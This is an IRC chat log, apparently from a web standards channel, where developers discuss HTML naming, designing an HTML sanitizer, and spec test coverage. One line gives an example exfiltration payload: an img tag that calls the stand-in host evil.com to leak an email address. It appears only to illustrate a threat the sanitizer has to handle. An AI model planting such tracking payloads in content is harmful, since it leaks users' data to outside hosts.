- # [12:13] * Quits: smaug____ (~chatzilla@dsl-hkibrasgw4-fe41dc00-67.dhcp.inet.fi) (Read error: Operation timed out)
- # [12:14] <arminbw> I will call it HTML+
- # [12:18] * Quits: agektmr (~Adium@2401:fa00:4:1012:fa1e:dfff:fee6:d74e) (Quit: Leaving.)
- # [12:20] * Joins: adactio (~adactio@host213-123-197-180.in-addr.btopenworld.com)
- # [12:20] <david_carlisle> html+ is done already, it expired
- # [12:21] <annevk> Another thing I considered doing was enabling an easy way to get the specification for each specific SVN revision. However, I am not entirely sure how to deal with changing dependencies.
- # [12:23] <arminbw> So if html+ expired it's actually just html again, right? Old html.
- # [12:24] <jgraham> html++ then
- # [12:24] * Quits: Evet (~Evet@78.191.36.5) (Ping timeout: 240 seconds)
- # [12:24] <annevk> The whole point is that there is no difference!
- # [12:25] <Rik`> and then it will be html# or objective-html ?
- # [12:25] * Quits: Lachy (~Lachlan@pat-tdc.opera.com) (Quit: Leaving)
- # [12:26] * Joins: Lachy (~Lachlan@pat-tdc.opera.com)
- # [12:26] <david_carlisle> You should all just be using mathml anyway, this html thing won't catch on
- # [12:30] <jgraham> annevk: But html++ means that every person who reads the name gets a unique version number! It is giving ownsership of the spec to the community!
- # [12:30] * Quits: lumely (~lumely@dhcp2-186.slis.tsukuba.ac.jp) (Read error: Connection reset by peer)
- # [12:30] * Joins: lumely_ (~lumely@dhcp2-186.slis.tsukuba.ac.jp)
- # [12:33] <arminbw> lets put it on github
- # [12:33] * Joins: FireFly (~firefly@unaffiliated/firefly)
- # [12:35] <hsivonen> "You essentially have to treat browsers as a bunch of somewhat sleazy politicians" -- Robin Berjon
- # [12:36] * Joins: Timz (~Adium@86.89.174.199)
- # [12:36] <othermaciej> and a nice day to you too, Mr Berjon
- # [12:36] <jgraham> hsivonen: Is there any context or is this twitter?
- # [12:37] * Joins: Ms2ger (~Ms2ger@91.181.194.130)
- # [12:37] <hsivonen> jgraham: http://lists.w3.org/Archives/Public/public-html-xml/2011Jan/0231.html
- # [12:37] * Quits: micheil (~micheil@114.72.236.157) (Ping timeout: 240 seconds)
- # [12:39] * Quits: pesla (~pesla@188.202.125.121) (Read error: Connection reset by peer)
- # [12:39] * Joins: pesla (~pesla@188.202.125.121)
- # [12:39] <jgraham> Hum. What he actually says is quite reasonable
- # [12:39] <jgraham> His phrasing of it is pure flamebait
- # [12:40] <annevk> well, or funny
- # [12:40] <david_carlisle> othermaciej: He was being nice to you really, and just agreeing with hsivonen that you need to test for what's implemented
- # [12:41] <othermaciej> sure, in context his flamebait was eminently reasonable
- # [12:41] <jgraham> annevk: Didn't really register as funny for me. I guess he might have been going for "funny"
- # [12:43] <jgraham> though
- # [12:47] <annevk> as far as I can tell his views have shifted somewhat since the SVG days
- # [12:47] <annevk> and are somewhat similar to ours now
- # [12:48] <hsivonen> fwiw, I was quoting out of context for amusement. I don't disapprove of Robin's email.
- # [12:48] <david_carlisle> annevk: what people get older?
- # [12:50] * Quits: davidhund (~davidhund@78-27-27-74.dsl.alice.nl) (Quit: davidhund)
- # [12:50] <asmodai> lol @ http://dl.dropbox.com/u/50841/twitter/WhatsNew.png
- # [12:53] <charlvn> haha, good one
- # [12:54] <annevk> what is rowspan in wiki syntax?
- # [12:54] <asmodai> Whoever came up with the badge builder ought to be shot
- # [12:55] <asmodai> I thought we ditched such idiotic badges/images finally.
- # [12:55] * Joins: davidhund (~davidhund@78-27-27-74.dsl.alice.nl)
- # [12:56] * asmodai prepares for a new round of Works with FF/IE and Valid HTML images on pages :(
- # [12:56] <hsivonen> asmodai: saying that someone ought to be shot isn't really an improvement over the military imagery
- # [12:56] <annevk> found it
- # [12:56] <Lachy> asmodai, we ditched idiotic validation badges that made false claims more often than not
- # [12:56] <asmodai> hsivonen: Heh, true.
- # [12:57] * Quits: erlehmann (~erlehmann@p5DDBBE41.dip.t-dialin.net) (Quit: Die demokratieerhaltende Whistleblower-Organisation Krautchan freut sich immer über Spenden.)
- # [12:57] <asmodai> Funny though, if you select those features of the badge builder, it's like HTML5 is growing a Pinoccio nose
- # [13:00] * Quits: benschwarz (~benschwar@59.167.185.148) (Remote host closed the connection)
- # [13:01] * Quits: Timz (~Adium@86.89.174.199) (Quit: Leaving.)
- # [13:02] * Quits: davidhund (~davidhund@78-27-27-74.dsl.alice.nl) (Quit: davidhund)
- # [13:05] * Joins: davidhund (~davidhund@78-27-27-74.dsl.alice.nl)
- # [13:09] <annevk> I made some more changes to the FAQ
- # [13:13] <hsivonen> hmm. writing a sanitizer becomes really complicated if you want to decide whether the token becomes an HTML, MathML or SVG element before deciding whether to drop it
- # [13:14] <hsivonen> maybe it's just not worth it...
- # [13:16] <hsivonen> maintaining distinct attribute white lists for the three should be easy-ish, though
- # [13:16] * Quits: kor (~kor@ip18-128-172-82.adsl2.static.versatel.nl) (Quit: kor)
- # [13:17] <jgraham> hsivonen: What is the difficulty?
- # [13:18] <jgraham> (I'm not saying there isn't one, just wondering what, specifcally, you find hard)
- # [13:19] <hsivonen> jgraham: if you drop an element after the tree builder algorithm has run, you need a marker on the stack so that you know to drop the matching end tags but not to drop end tags whose element didn't get dropped
- # [13:20] <hsivonen> so then you have this sparse stack where some stack nodes are "not really" markers that you can't append children to but that participate in the tree builder algorithm otherwise
- # [13:20] <hsivonen> it looks to me that those "not really" or "can't use this node as a parent" markers will suck for the AAA and such
- # [13:21] <annevk> so you want to sanitize during parsing rather than serializing?
- # [13:22] <hsivonen> jgraham: otoh, if you always drop all start and end tag tokens for a given tag name, you don't need to keep track of stuff to match end tags with the start tags
- # [13:22] <hsivonen> annevk: yes
- # [13:22] <hsivonen> annevk: and only from the security POV--not from the correctness POV
- # [13:22] <david_carlisle> annevk: On Robin's views changing since svg days "It wasn't long before mobile SVG implementations also used XML parsers that were a little bit more open-minded " :-)
- # [13:23] * Joins: kor (~kor@ip18-128-172-82.adsl2.static.versatel.nl)
- # [13:24] * Quits: wakaba_ (~wakaba_@122x221x184x68.ap122.ftth.ucom.ne.jp) (Quit: Leaving...)
- # [13:24] * Quits: wakaba_0 (~wakaba_@122x221x184x68.ap122.ftth.ucom.ne.jp) (Quit: Leaving...)
- # [13:25] <jgraham> hsivonen: Is it too much work to probe what namespace a tag will become by inspecting the current state of the treebuilder and knowing what the entry/exit points from foreignContent are?
- # [13:27] <david_carlisle> hsivonen: is there an existing element name for which you do want to take a different decision, depending on html/mathml/svg, or is this future proofing?
- # [13:28] <jgraham> hsivonen: (the big problem I see with speculatively inserting elements and rolling back if they end up in an undesired namespace is around AAA and so)
- # [13:29] <jgraham> (I think that would mean you had to snapshot the entire tree rather than just marking the inserted elements)
- # [13:29] <hsivonen> david_carlisle: I can't think of one from the security POV
- # [13:30] <hsivonen> david_carlisle: so perhaps I shouldn't even try to have distinct white lists
- # [13:30] <hsivonen> jgraham: that approach would probably make sense if distinct white lists were actually necessary
- # [13:32] <annevk> hmm comments are getting somewhat off-topic
- # [13:32] <annevk> oh well
- # [13:32] <hsivonen> anyway, I threw away my complicated code and will try again
- # [13:32] <hsivonen> this time dropping tokens before the tree builder runs
- # [13:36] <jgraham> hsivonen: Presumably the reason would be that future standards bodies might be idiotic enough to invent tag names that are safe in one namespace but not another. Or we might grandfather in a language where, say, <div> means "run this script"
- # [13:36] <jgraham> Neither of those would happen in a sane world
- # [13:36] <Ms2ger> annevk, | rowspan=n |, if you didn't find it yet
- # [13:36] <hsivonen> jgraham: I'm not planning on coding for that scenario
- # [13:37] <annevk> Ms2ger, thanks, I figured it out already
- # [13:37] * Joins: benschwarz (~benschwar@59.167.185.148)
- # [13:38] <david_carlisle> jgraham: that would be the world in which browser makers don't implement image and not tell us for a decade that we have an unknown name clash?
- # [13:38] <benschwarz> Hixie: !Ping
- # [13:39] <jgraham> david_carlisle: < jgraham> Neither of those would happen in a sane world
- # [13:40] <david_carlisle> jgraham: something about logic and doors
- # [13:42] * Joins: micheil (~micheil@114.73.116.90)
- # [13:43] <hsivonen> david_carlisle: fortunately, image is "safe"
- # [13:45] * Joins: LuigiMontanez (~Adium@ip70-174-136-58.dc.dc.cox.net)
- # [13:45] <hsivonen> hmm. nested SVG scripts are going to be annoying
- # [13:46] <david_carlisle> hsivonen: yes
- # [13:52] * Quits: kor (~kor@ip18-128-172-82.adsl2.static.versatel.nl) (Quit: kor)
- # [13:53] * Joins: boaz (~boaz@c-24-128-79-120.hsd1.ma.comcast.net)
- # [13:55] * Quits: matjas (~matjas@91.182.211.157) (Quit: Computer has gone to sleep.)
- # [13:55] * Quits: LuigiMontanez (~Adium@ip70-174-136-58.dc.dc.cox.net) (Quit: Leaving.)
- # [13:57] * Joins: xbg (~xbg@91-64-16-98-dynip.superkabel.de)
- # [13:59] <hsivonen> hmm. so the list of dangerous well-known HTML elements is script, style, applet, object. Right?
- # [13:59] <hsivonen> working out which parts of SVG are dangerous is harder
- # [14:00] <annevk> anything that causes a request can be dangerous in a way
- # [14:01] <benschwarz> Is there a bot to leave Hixie a message?
- # [14:01] <annevk> you can file a bug
- # [14:01] <jgraham> Yes, one might imagine organising the code around groups of elements according to their properties
- # [14:01] <jgraham> Or just leave the message
- # [14:02] <hsivonen> annevk: do you mean for detecting that a user read a span with a unique image?
- # [14:02] <jgraham> e.g. script_elements, request_elements, etc.
- # [14:03] <hsivonen> and SVG id references that can go across documents is one collection of pain that makes it hard to know which elements end up requesting stuff based on the element name alone
- # [14:05] <benschwarz> I just added web stats to the developers.whatwg.org edition…
- # [14:06] * Joins: cooto (~Adium@186.9.105.206)
- # [14:06] * Quits: cooto (~Adium@186.9.105.206) (Client Quit)
- # [14:07] <benschwarz> and now, bed. later all
- # [14:08] * Quits: benschwarz (~benschwar@59.167.185.148) (Remote host closed the connection)
- # [14:09] * Joins: kal-EL_ (~jor-EL@host115-69-dynamic.16-79-r.retail.telecomitalia.it)
- # [14:16] <annevk> hsivonen, or somewhat dangerous GET requests
- # [14:17] <annevk> e.g. a blog comment in moderation that fetches logout.php
- # [14:18] <hsivonen> annevk: a blogging system is full of fail if you can be logged out using GET
- # [14:18] <annevk> no argument there
- # [14:18] <annevk> guess it depends on what you want to do
- # [14:19] <annevk> for email it would be similarly bad
- # [14:19] * Parts: xbg (~xbg@91-64-16-98-dynip.superkabel.de) ("Leaving.")
- # [14:19] <annevk> <img src=http://evil.com/?you@example.com>
- # [14:20] <hsivonen> I believe Thunderbird catches those on a different layer
- # [14:20] * Quits: boaz (~boaz@c-24-128-79-120.hsd1.ma.comcast.net) (Quit: boaz)
- # [14:23] <annevk> other things that could be potentially problematic are elements the author did not expect commenters to use or be able to use
- # [14:24] <annevk> e.g. if the author has one <header> on his page with some position:absolute styling and a commenter includes that as well...
- # [14:24] * Joins: MikeSmith_ (~MikeSmith@EM111-188-93-219.pool.e-mobile.ne.jp)
- # [14:24] <annevk> but I guess it depends on whether this API will be exposed to web content or not whether any of the above makes sense
- # [14:25] * Quits: danbri (~danbri@ip176-48-210-87.adsl2.static.versatel.nl) (Remote host closed the connection)
- # [14:25] * Joins: matjas (~matjas@91.182.211.157)
- # [14:27] <hsivonen> annevk: good point. that threat isn't being addressed
- # [14:27] * Quits: MikeSmith (~MikeSmith@EM114-48-81-141.pool.e-mobile.ne.jp) (Ping timeout: 240 seconds)
- # [14:28] * MikeSmith_ is now known as MikeSmith
- # [14:30] * Joins: LuigiMontanez (~Adium@ip70-174-136-58.dc.dc.cox.net)
- # [14:30] <hsivonen> stuff like <svg><script><script><h1> is very annoying
- # [14:32] <annevk> heh, Julian thinks we changed the name because we are angry with the HTML5 logo
- # [14:32] <annevk> http://www.heise.de/ix/meldung/Aus-HTML-5-wird-der-lebende-Standard-HTML-1172423.html
- # [14:33] <annevk> hsivonen, it seems filtering the DOM would give much better results
- # [14:33] <annevk> hsivonen, also, if we want this at the parser layer, should this be part of the parsing section?
- # [14:34] * Quits: micheil (~micheil@114.73.116.90) (Quit: http://brandedcode.com | http://github.com/miksago)
- # [14:35] <hsivonen> annevk: it sure starts looking like it doesn't make sense to recommend this function for non-browser users of the parser
- # [14:35] * Joins: kor (~kor@188.203.5.129)
- # [14:35] * Quits: 30BAAP5OQ (~ericc@adsl-67-112-12-110.dsl.anhm01.pacbell.net) (Quit: 30BAAP5OQ)
- # [14:36] <hsivonen> and yeah, I'm starting to suspect whether it makes sense to do this in the parser even in the browser case
- # [14:37] <hsivonen> though for perf, it kinda sucks to build a DOM fragment, run a filter on it and then insert it
- # [14:38] <Philip`> Is this ever a performance-critical operation?
- # [14:38] <hsivonen> Philip`: dunno
- # [14:38] <hsivonen> <svg><script><foreignObject><h1>Hi! is annoying, too
- # [14:42] * Joins: erlehmann (~erlehmann@p4FC12D27.dip.t-dialin.net)
- # [14:43] * Joins: boaz (~boaz@c-24-128-79-120.hsd1.ma.comcast.net)
- # [14:44] * Joins: davidb_ (~davidb@66.207.206.180)
- # [14:48] * Quits: boaz (~boaz@c-24-128-79-120.hsd1.ma.comcast.net) (Client Quit)
- # [14:48] * Quits: LuigiMontanez (~Adium@ip70-174-136-58.dc.dc.cox.net) (Quit: Leaving.)
- # [14:50] * Joins: Kaelig (~Kaelig@mal35-2-82-228-177-211.fbx.proxad.net)
- # [14:52] * Joins: espadrine (~espadrine@acces1296.res.insa-lyon.fr)
- # [14:54] * Joins: miketaylr (~miketaylr@206.217.92.186)
- # [14:59] * Joins: Sirisian (~Sirisian@141.218.226.81)
- # [15:01] * Joins: smaug____ (~chatzilla@dsl-hkibrasgw4-fe41dc00-67.dhcp.inet.fi)
- # [15:03] * Joins: lonimurar (~lonimurar@unaffiliated/lonimurar)
- # [15:03] * Quits: ttepasse (~ttepasse@ip-109-90-161-169.unitymediagroup.de) (Read error: Connection reset by peer)
- # [15:12] * Joins: BlurstOfTimes (~blurstoft@168.203.117.107)
- # [15:14] * Joins: Timz (~Adium@86.89.174.199)
- # [15:14] * Quits: Sirisian (~Sirisian@141.218.226.81) (Ping timeout: 255 seconds)
- # [15:18] * Joins: ttepasse (~ttepasse@ip-109-90-161-169.unitymediagroup.de)
- # [15:21] * Joins: plainhao (~plainhao@208.75.85.237)
- # [15:27] * Joins: realityking (~realityki@f049233099.adsl.alicedsl.de)
- # [15:27] * Quits: realityking (~realityki@f049233099.adsl.alicedsl.de) (Read error: Connection reset by peer)
- # [15:27] * Joins: realityking (~realityki@f049233099.adsl.alicedsl.de)
- # [15:29] * Quits: webben (~benjamin@173-203-84-17.static.cloud-ips.com) (Ping timeout: 265 seconds)
- # [15:35] * Quits: rimantas (~rimliu@93.93.57.193) (Quit: Leaving)
- # [15:36] * Quits: miketaylr (~miketaylr@206.217.92.186) (Remote host closed the connection)
- # [15:38] * Joins: miketaylr (~miketaylr@206.217.92.186)
- # [15:38] * Joins: eric_carlson_ (~ericc@adsl-67-112-12-110.dsl.anhm01.pacbell.net)
- # [15:38] * Joins: alkavan (~alkavan@IGLD-84-229-175-223.inter.net.il)
- # [15:42] <jacobolus> I notice that most (all?) of the little annotations in the margin of the HTML5^H spec say that there are 0 tests and 0 demos for a feature, and nothing written about "implementation status"; is there actually some place where such tests/demos would reside, linked from the spec? aren't there plenty of parts that *do* have tests one place or another around the web?
- # [15:43] <Philip`> The tests/demos can be anywhere - someone just needs to update the spec to point to them all
- # [15:43] <jacobolus> is there any good coordinated place showing what has tests, what needs tests, etc.?
- # [15:44] <Philip`> No
- # [15:44] <Philip`> http://wiki.whatwg.org/wiki/Testsuite has links to various things
- # [15:44] <jacobolus> it seems like this is a task that could be pretty easily distributed: "write 1-2 test about one of these features"; would be more productive as a discussion than flameouts about nomenclature and so forth
- # [15:45] <jacobolus> then again, maybe no one would be interested in writing a test or two
- # [15:45] <Philip`> It'd probably be good to coordinate work in the HTML WG testing group rather than having everything as ad hoc as it has been
- # [15:45] <Lachy> jacobolus, there are a few that do have some tests written and linked from those annotations.
- # [15:46] <jacobolus> I guess there's also the big problem that someone (not volunteering, for sure) would have to do the organizing/coordination
- # [15:46] <Lachy> from memory, the video element has a couple.
- # [15:46] <Philip`> (There's some (slow) progress in that direction currently)
- # [15:46] * Joins: illtron (~killbot@mysql.ceres.aaas.org)
- # [15:47] <Philip`> jacobolus: A person writing 1-2 tests wouldn't really be scalable to what the spec requires, since it'll need tens of thousands of tests
- # [15:48] <jgraham> jacobolus: The HTML TEts TF already exists. The main problems are a) getting people to write tests and b) getting the right metadata to link the TCs to the right parts of the spec
- # [15:49] <jacobolus> fair enough
- # [15:49] <jacobolus> Philip`: fair enough
- # [15:49] <Philip`> and the overhead of teaching people how to write good test cases and reviewing them and maintaining them etc means you really need someone to take responsibility for developing a coherent set of tests for a whole section of the spec, I think
- # [15:49] <Philip`> else it'll be unmanageable
- # [15:49] <jgraham> jacobolus: The only well tested part of the spec is <canvas> where a) was solved by Philip` writing all the tests and B0 was solved by Philip` writing a system for annotating the spec
- # [15:49] <jacobolus> i.e. someone needs to make it their full-time job
- # [15:49] * Quits: erlehmann (~erlehmann@p4FC12D27.dip.t-dialin.net) (Ping timeout: 276 seconds)
- # [15:50] <jgraham> jacobolus: There are surprising;y few places you can get paid to spend all your time writing spec tests
- # [15:50] <jgraham> In fact I don't know of any
- # [15:50] <jacobolus> that doesn't seem surprising
- # [15:50] <annevk> I'm pretty sure such a position is obtainable
- # [15:50] <Philip`> jacobolus: Yeah, that seems like the most efficient way to get the work done, but I suppose that doesn't help much if nobody is in a position to do that :-(
- # [15:51] <jgraham> It does mean that as a strategy starting with "1) assume we will get a full time coordinator" is a losing proposition
- # [15:51] <annevk> e.g. with Mozilla or Google
- # [15:51] <jacobolus> seems like it'd take a substantial amount of work to even try to consolidate the tests which exist and link them to relevant spec sections
- # [15:51] <jgraham> annevk: Maybe, but the evidence is that neither Mozilla nor Google *actually* employ anyone to do that
- # [15:52] * Joins: shiawuen (~chatzilla@cm68.eta56.maxonline.com.sg)
- # [15:52] <annevk> yes, because nobody is interested in it
- # [15:52] <jgraham> In fact neither are particularly active at all in writing tests for HTML
- # [15:52] <jacobolus> but the result is that it's sort of impossible to figure out what parts are tested and what parts aren't
- # [15:52] <Philip`> It sounds like browser testing people spend most of their time debugging browser-specific bugs and writing browser-specific tests, instead of standards tests
- # [15:52] <jacobolus> right
- # [15:53] <Philip`> Is that unavoidable?
- # [15:53] <jacobolus> it does seem like a wasted duplication of effort, no?
- # [15:53] <annevk> no, but it requires some amount of investment
- # [15:53] <annevk> into a framework that can be shared, that people are willing to use
- # [15:53] <jgraham> We do write quite a lot of standards tests
- # [15:53] <annevk> and that shows some reasonable return of investment
- # [15:54] <jgraham> But there is inevitably also a component of doing browser-specific work
- # [15:54] * Joins: htmlr (~htmlr@124-168-128-37.dyn.iinet.net.au)
- # [15:54] <jgraham> And that turns out to be a rather large component
- # [15:54] <annevk> I have written tests, but there's hardly any contribution from elsewhere
- # [15:54] <annevk> e.g. for XMLHttpRequest
- # [15:54] <annevk> maybe the bar to entry is too high, but I have not even been contacted
- # [15:54] <jgraham> Since the job description is not "write tests" but "help us ship a good browser"
- # [15:55] <annevk> and while other browsers might start using the tests, they are hesitant (to say the least) to convert their own
- # [15:56] <annevk> tl:dr standardizing test infrastructure is tough
- # [15:56] <annevk> and sharing tests is too
- # [15:58] <jgraham> Sharing tests is generally not that bad if the recievee is prepared to do all the integration work
- # [15:58] <Ms2ger> jgraham, Mozilla does write a lot of HTML tests, we just don't submit them ;)
- # [15:59] <jgraham> Ms2ger: That is the same thing :)
- # [15:59] <Ms2ger> Only from your POV :)
- # [15:59] * Joins: MAMPTyro (~nooywy@61.sub-75-197-170.myvzw.com)
- # [15:59] <jgraham> Well from everyone's POV
- # [15:59] <jgraham> Apart from yours
- # [16:00] * Quits: htmlr (~htmlr@124-168-128-37.dyn.iinet.net.au) (Quit: Colloquy for iPad - http://colloquy.mobi)
- # [16:01] * Quits: kor (~kor@188.203.5.129) (Quit: kor)
- # [16:01] * Parts: adactio (~adactio@host213-123-197-180.in-addr.btopenworld.com)
- # [16:03] * Joins: LuigiMontanez (~Adium@enki.sunlightfoundation.com)
- # [16:05] * Joins: cying (~cying@c-24-23-135-168.hsd1.ca.comcast.net)
- # [16:06] * Quits: cying (~cying@c-24-23-135-168.hsd1.ca.comcast.net) (Read error: Connection reset by peer)
- # [16:06] * Joins: cying_ (~cying@c-24-23-135-168.hsd1.ca.comcast.net)
- # [16:09] <hsivonen> jacobolus: apparently you need to buy t-shirts with the HTML5 logo on them to get this testing thing sorted out
- # [16:10] * jgraham has his doubts that will help
- # [16:11] <jacobolus> hsivonen: is that the W3C version of a middle school bake sale?
- # [16:12] <jacobolus> maybe the spec could do in-line advertising. "the canvas element, brought to you by Nabisco"
- # [16:12] <jgraham> jacobolus: It seems to be. My idea of a real bake sale, with the HTML5 logog on big cakes and all the sub-logos on cupcakes has so far failed to gain any traction
- # [16:13] <jgraham> Even when I suggested that we dress up in vinatge military gear to do the selling
- # [16:13] <jacobolus> damn
- # [16:13] <jgraham> and get a brass band clad in HTML5-spandex
- # [16:13] * Quits: zcorpan (~zcorpan@c-8d9ae355.410-6-64736c14.cust.bredbandsbolaget.se) (Quit: zcorpan)
- # [16:13] <jgraham> On an entirely different topic, does anyone know if, and by how much, faster it is to draw to Xvfb than to real X?
- # [16:17] * Quits: mamund__ (mamund@frost.nullshells.net) (Ping timeout: 240 seconds)
- # [16:18] * Joins: mamund (mamund@frost.nullshells.net)
- # [16:19] * Joins: kor (~kor@ip146-53-210-87.adsl2.static.versatel.nl)
- # [16:21] * Parts: MAMPTyro (~nooywy@61.sub-75-197-170.myvzw.com)
- # [16:30] * Joins: richardschwerdtf (~RichS@32.97.110.51)
- # [16:33] * Quits: mokush (~quassel@188.24.42.111) (Ping timeout: 240 seconds)
- # [16:33] * Quits: othermaciej (~mjs@c-24-6-209-6.hsd1.ca.comcast.net) (Quit: othermaciej)
- # [16:34] * Joins: mokush (~quassel@188.24.42.150)
- # [16:38] * Quits: kor (~kor@ip146-53-210-87.adsl2.static.versatel.nl) (Quit: kor)
- # [16:41] * Joins: davidwalsh (~davidwals@75-135-74-55.dhcp.mdsn.wi.charter.com)
- # [16:41] * Joins: othermaciej (~mjs@67.218.106.166)
- # [16:42] * Joins: bga_ (~bga@ppp91-122-51-148.pppoe.avangarddsl.ru)
- # [16:43] * Joins: nimbupani (~Adium@c-24-22-131-46.hsd1.wa.comcast.net)
- # [16:43] * Joins: sethladd (~sethladd@c-67-188-234-154.hsd1.ca.comcast.net)
- # [16:45] <hsivonen> apart from attributes that contain URL, are there dangerous attributes that don't start with "on"?
- # [16:45] * Joins: kor (~kor@ip146-53-210-87.adsl2.static.versatel.nl)
- # [16:46] * Joins: boaz (~boaz@64.119.153.2)
- # [16:47] * Quits: sethladd (~sethladd@c-67-188-234-154.hsd1.ca.comcast.net) (Client Quit)
- # [16:48] <annevk> hsivonen, autofocus
- # [16:49] <annevk> hsivonen, srcdoc
- # [16:49] <annevk> actually, maybe srcdoc is harmless
- # [16:49] <annevk> no, only harmless when sandbox is defined iirc
- # [16:50] <hsivonen> annevk: good point on autofocus
- # [16:50] <hsivonen> annevk: what's dangerous with srcdoc? it's in a different origin, right?
- # [16:51] <othermaciej> what counts as "dangerous"?
- # [16:52] <hsivonen> othermaciej: stuff that would allow script to run in the wrong origin when the markup is inserted into a different-origin doc
- # [16:52] <hsivonen> oh, and style is a special case, of course
- # [16:52] * Quits: thiessenp (~thiessenp@changeme.ebuddy.com) (Quit: thiessenp)
- # [16:53] <annevk> is srcdoc in a different origin by default?
- # [16:53] <othermaciej> if the attacker can control all the attributes on an iframe element, then srcdoc is indeed dangerous
- # [16:53] <annevk> I thought it wasn't
- # [16:53] <othermaciej> but then, so is src
- # [16:53] <annevk> src is excluded already as it contains a URL
- # [16:53] <othermaciej> any attribute that takes a URL and happens to contain a javascript: URL is probably dangerous
- # [16:53] <hsivonen> annevk: huh. I thought the whole point of involving an iframe was to put srcdoc into a different origin
- # [16:53] <hsivonen> othermaciej: what's the attack?
- # [16:54] <annevk> hsivonen, I think that is only true for <iframe srcdoc=test sandbox>
- # [16:54] <othermaciej> srcdoc can be in a unique origin if you sandbox the iframe
- # [16:54] <hsivonen> othermaciej: what's the attack that makes srcdoc dangerous if all attributes controlled that is?
- # [16:54] <othermaciej> hsivonen: I don't know what threat you are defending against, you said "allow script to run in the wrong origin"
- # [16:55] <othermaciej> but srcdoc iframes can be same-origin with the parent and can run script
- # [16:55] <hsivonen> annevk: what's the point of srcdoc without sandboxing?
- # [16:55] <david_carlisle> Paul: some in my group may be interested in this
- # [16:55] <othermaciej> so can iframes with a javascript: src
- # [16:56] * Quits: maikmerten (~merten@ls5dhcp197.cs.uni-dortmund.de) (Remote host closed the connection)
- # [16:56] <hsivonen> same-origin srcdoc seems like trouble. what's the point of ever allowing srcdoc to be same-origin? why use an iframe at all in that case?
- # [16:56] <david_carlisle> Bruce: I missed the point of what a class attribute would accomplish, an input box needs more complicated data, if your have markup for that and allows that in your schema
- # [16:56] <hsivonen> othermaciej: yeah, URL attributes all need special attention
- # [16:56] <othermaciej> what's the use case here? are you trying to filter html by blacklisting?
- # [16:56] <hsivonen> david_carlisle: are you in the wrong window?
- # [16:57] <david_carlisle> oops sorry in mathml wg telecon..... :-)
- # [16:57] <david_carlisle> don't understand these tab things, bye
- # [17:00] * Joins: Martijnc (~Martijnc@91.176.24.126)
- # [17:02] <annevk> http://tools.ietf.org/html/draft-bankoski-vp8-bitstream
- # [17:03] * Joins: Duke___ (~duke@189.120.143.244)
- # [17:03] * Quits: alkavan (~alkavan@IGLD-84-229-175-223.inter.net.il) (Quit: Ex-Chat)
- # [17:04] * Joins: paul_irish (~paul_iris@c-76-21-40-62.hsd1.ca.comcast.net)
- # [17:05] * Quits: lonimurar (~lonimurar@unaffiliated/lonimurar) (Ping timeout: 240 seconds)
- # [17:06] <hsivonen> annevk: interesting choice of venue
- # [17:07] <hsivonen> hmm. Intended status: Informational
- # [17:08] <annevk> it was also submitted on Jan 6
- # [17:08] <annevk> bit weird
- # [17:09] <Ms2ger> This specification is made available under a Creative Commons Attribution 3.0 License [4].
- # [17:09] <Ms2ger> Wait, what?
- # [17:09] <annevk> I would have expected that to turn up sooner
- # [17:12] <othermaciej> does the IETF let you put your choice of license on an RFC? I thought you had to assign them copyright
- # [17:13] * Quits: LuigiMontanez (~Adium@enki.sunlightfoundation.com) (Ping timeout: 240 seconds)
- # [17:14] <Ms2ger> "Copyright (c) 2011 IETF Trust and the persons identified as the document authors. All rights reserved." on page one, and CC-BY on page 148
- # [17:14] <karlcow> http://en.wikipedia.org/wiki/Request_for_Comments#Status_.22informational.22
- # [17:15] <karlcow> >An informational RFC can be nearly anything from April 1 jokes over proprietary protocols up to widely recognized essential RFCs like Domain Name System Structure and Delegation (RFC 1591).
- # [17:15] <karlcow> published on January 6, so might not be a joke
- # [17:15] <workmad3> ah, good old TCP/IP over Carrier Pigeon
- # [17:16] <karlcow> CCTV for pigeons?
- # [17:16] <othermaciej> yeah, it just seems to be a least-effort path to something that can be called a "standard"
- # [17:19] * Joins: LuigiMontanez (~Adium@enki.sunlightfoundation.com)
- # [17:21] * Parts: LuigiMontanez (~Adium@enki.sunlightfoundation.com)
- # [17:21] * Joins: mlpug (~mlpug@a88-115-171-217.elisa-laajakaista.fi)
- # [17:22] * Quits: davidhund (~davidhund@78-27-27-74.dsl.alice.nl) (Quit: davidhund)
- # [17:22] * Quits: plomlompom (~plomlompo@i59F6C26C.versanet.de) (Ping timeout: 276 seconds)
- # [17:23] * Joins: sethladd (~sethladd@nat/google/x-bqhvbvwcaiezzsoq)
- # [17:24] * Quits: arminbw (~armin@dhcp090.iguw.tuwien.ac.at) (Quit: arminbw)
- # [17:26] * Joins: MikeSmith_ (~MikeSmith@EM114-48-59-11.pool.e-mobile.ne.jp)
- # [17:28] * Quits: MikeSmith (~MikeSmith@EM111-188-93-219.pool.e-mobile.ne.jp) (Ping timeout: 272 seconds)
- # [17:28] * bga_ is now known as bga_|away
- # [17:29] * MikeSmith_ is now known as MikeSmith
- # [17:29] * Joins: plomlompom (~plomlompo@88.130.186.157)
- # [17:35] * Quits: Maurice (~ano@a80-101-46-164.adsl.xs4all.nl) (Quit: Disconnected...)
- # [17:37] * Joins: MAMPTyro (~nooywy@61.sub-75-197-170.myvzw.com)
- # [17:38] * Joins: webben (~benjamin@173-203-84-17.static.cloud-ips.com)
- # [17:44] * Quits: franksalim__ (~frank@108-65-76-174.lightspeed.sntcca.sbcglobal.net) (Read error: Connection reset by peer)
- # [17:44] * Quits: jacobolus (~jacobolus@fw-1-user-net-flrs.cictr.com) (Remote host closed the connection)
- # [17:44] * matjas is now known as matjaspaghetti
- # [17:44] * Joins: jacobolus (~jacobolus@beaker.cictr.com)
- # [17:44] * Joins: franksalim__ (~frank@99-123-6-19.lightspeed.sntcca.sbcglobal.net)
- # [17:45] * Joins: dglazkov (d8ef2d04@gateway/web/freenode/ip.216.239.45.4)
- # [17:46] * Quits: othermaciej (~mjs@67.218.106.166) (Quit: othermaciej)
- # [17:49] * Joins: thiessenp (~thiessenp@ip4da8062e.direct-adsl.nl)
- # [17:51] * Quits: sethladd (~sethladd@nat/google/x-bqhvbvwcaiezzsoq) (Quit: sethladd)
- # [17:51] * Quits: Lachy (~Lachlan@pat-tdc.opera.com) (Quit: This computer has gone to sleep)
- # [17:52] * Joins: mdelaney (~mdelaney@c-69-181-26-199.hsd1.ca.comcast.net)
- # [17:52] * Joins: othermaciej (~mjs@17.246.17.13)
- # [17:54] * Joins: mpt (~mpt@canonical/mpt)
- # [17:55] * Quits: paul_irish (~paul_iris@c-76-21-40-62.hsd1.ca.comcast.net) (Remote host closed the connection)
- # [17:59] * Parts: MAMPTyro (~nooywy@61.sub-75-197-170.myvzw.com)
